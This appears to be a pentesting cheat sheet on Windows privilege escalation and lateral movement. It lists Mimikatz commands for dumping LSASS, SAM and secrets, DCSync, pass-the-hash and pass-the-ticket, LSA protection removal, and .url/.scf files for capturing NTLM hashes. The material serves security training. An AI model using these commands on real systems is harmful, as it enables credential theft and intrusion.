

LOCAL PRIVILEGE ESCALATION CHEAT SHEET

By Hack Academy

Table of Contents

• Privilege Escalation Techniques	3
• Token Privilege Abuse	3
• SMB and File Privilege Exploits	3
• Privilege Escalation Tools	4
• Lateral Movement	4
• PowerShell Remoting	4
• Mimikatz	5
• Bypassing LSASS Protections	5
• LSA As A Protected Process (Kernel-Land Bypass)	5
• Remote Desktop Protocol (RDP)	5
• Other Techniques	6
• URL File Attacks	6
• Notes on .scf File Attacks	6
• Useful Tools for Attacks	6
• Outro	7

LOCAL PRIVILEGE ESCALATION CHEAT SHEET

By Hack Academy

Introduction

Welcome to the **Windows Local Privilege Escalation Cheat Sheet**, your go-to guide for navigating the tricky terrain of Windows privilege escalation and lateral movement. Whether you're a penetration tester or a cybersecurity enthusiast, this document organizes essential techniques, tools, and commands into a clear and structured format - complete with detailed steps and compatibility notes. Tackle privilege escalation with precision and confidence!

Privilege Escalation Techniques

Token Privilege Abuse

Technique	Description	Compatibility
Juicy Potato	Abuse SeImpersonate or SeAssignPrimaryToken privileges.	⚠ Up to Windows Server 2016/Win10 1803
Lovely Potato	Automated Juicy Potato implementation.	⚠ Up to Windows Server 2016/Win10 1803
PrintSpoofer	Exploit PrinterBug for SYSTEM impersonation.	Works on Windows Server 2019/Win10
RoguePotato	Upgraded version of Juicy Potato.	Works on Windows Server 2019/Win10

SMB and File Privilege Exploits

Exploit	Description	Reference
SMBGhost (CVE-2020-0796)	Memory corruption vulnerability in SMBv3.	PoC available

Exploit	Description	Reference
HiveNightmare (CVE-2021-36934)	Exploit access to SAM, SYSTEM, and SECURITY registry files.	aka SeriousSAM

Privilege Escalation Tools

Tool	Description
PowerUp	Detect and exploit misconfigurations.
BeRoot	General LPE enumeration tool.
Privesc	Alternative enumeration tool.
FullPowers	Restore a service account's privileges.

Lateral Movement

PowerShell Remoting

Task	Command
Enable PowerShell Remoting	Enable-PSRemoting
Start a PSSession	<code>\$sess = New-PSSession -ComputerName</code>
Enter a PSSession	<code>Enter-PSSession -ComputerName</code> or <code>Enter-PSSession -Session</code>
Remote Command Execution	<code>Invoke-Command -ComputerName -Credential \$Cred -ScriptBlock {whoami}</code>
Import and Execute a PowerShell Module	<code>Invoke-Command -Credential \$Cred -ComputerName -FilePath -Session \$sess</code>

Mimikatz

Task	Command
Dump LSASS Credentials	sekurlsa::logonpasswords
Over-Pass-the-Hash	sekurlsa::pth /user: /ntlm: /domain:
List Kerberos Tickets	sekurlsa::tickets
Dump and Save LSASS to File	sekurlsa::minidump c:\temp\lsass.dmp
Dump SAM Database	lsadump::sam
Dump SECRETS Database	lsadump::secrets
DCSync Attack	lsadump::dcsync /domain: /user: /history
List and Dump Kerberos Credentials	kerberos::list /dump
Pass-The-Ticket	kerberos::ptt

Bypassing LSASS Protections

LSA As A Protected Process (Kernel-Land Bypass)

Step	Command
Check LSA Protection Status	reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
Remove Protection Flags	mimikatz # !processprotect /process:lsass.exe /remove
Dump LSASS After Bypass	mimikatz # sekurlsa::logonpasswords

Remote Desktop Protocol (RDP)

Technique	Description	Command
Pass-The-Hash via RestrictedAdmin	Use RDP protocol for hash-based lateral movement.	sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"

Technique	Description	Command
Bypass Single Session Restriction	Allow multiple sessions for a single user.	REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0
Reinstate Single Session Restriction	Remove multiple session setting after use.	REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser

Other Techniques

URL File Attacks

File Type	Example
.url	[InternetShortcut] URL=file:///path
.scf	[Shell] Command=2 IconFile=\\Share\test.ico

Notes on .scf File Attacks

.scf attacks no longer work on the latest Windows versions.

Use Responder to capture hashes when the victim navigates to the share.

Useful Tools for Attacks

Tool	Description
Powercat	Netcat in PowerShell; supports tunneling, relaying, and port forwarding.
SCShell	Fileless lateral movement using ChangeServiceConfigA.
Evil-WinRM	A powerful WinRM shell for pentesting.
RunasCs	Open-source version of runas.exe.
NTLM_Theft	Generates various file formats for NTLM hash capture (e.g., .url and .scf).

Outro

Mastering privilege escalation is a vital skill in ethical hacking, but always remember to operate within legal and ethical boundaries. This cheat sheet provides a streamlined overview to help you efficiently identify and exploit vulnerabilities for educational and authorized purposes. Happy hacking, and may your exploits be effective and your engagements fruitful!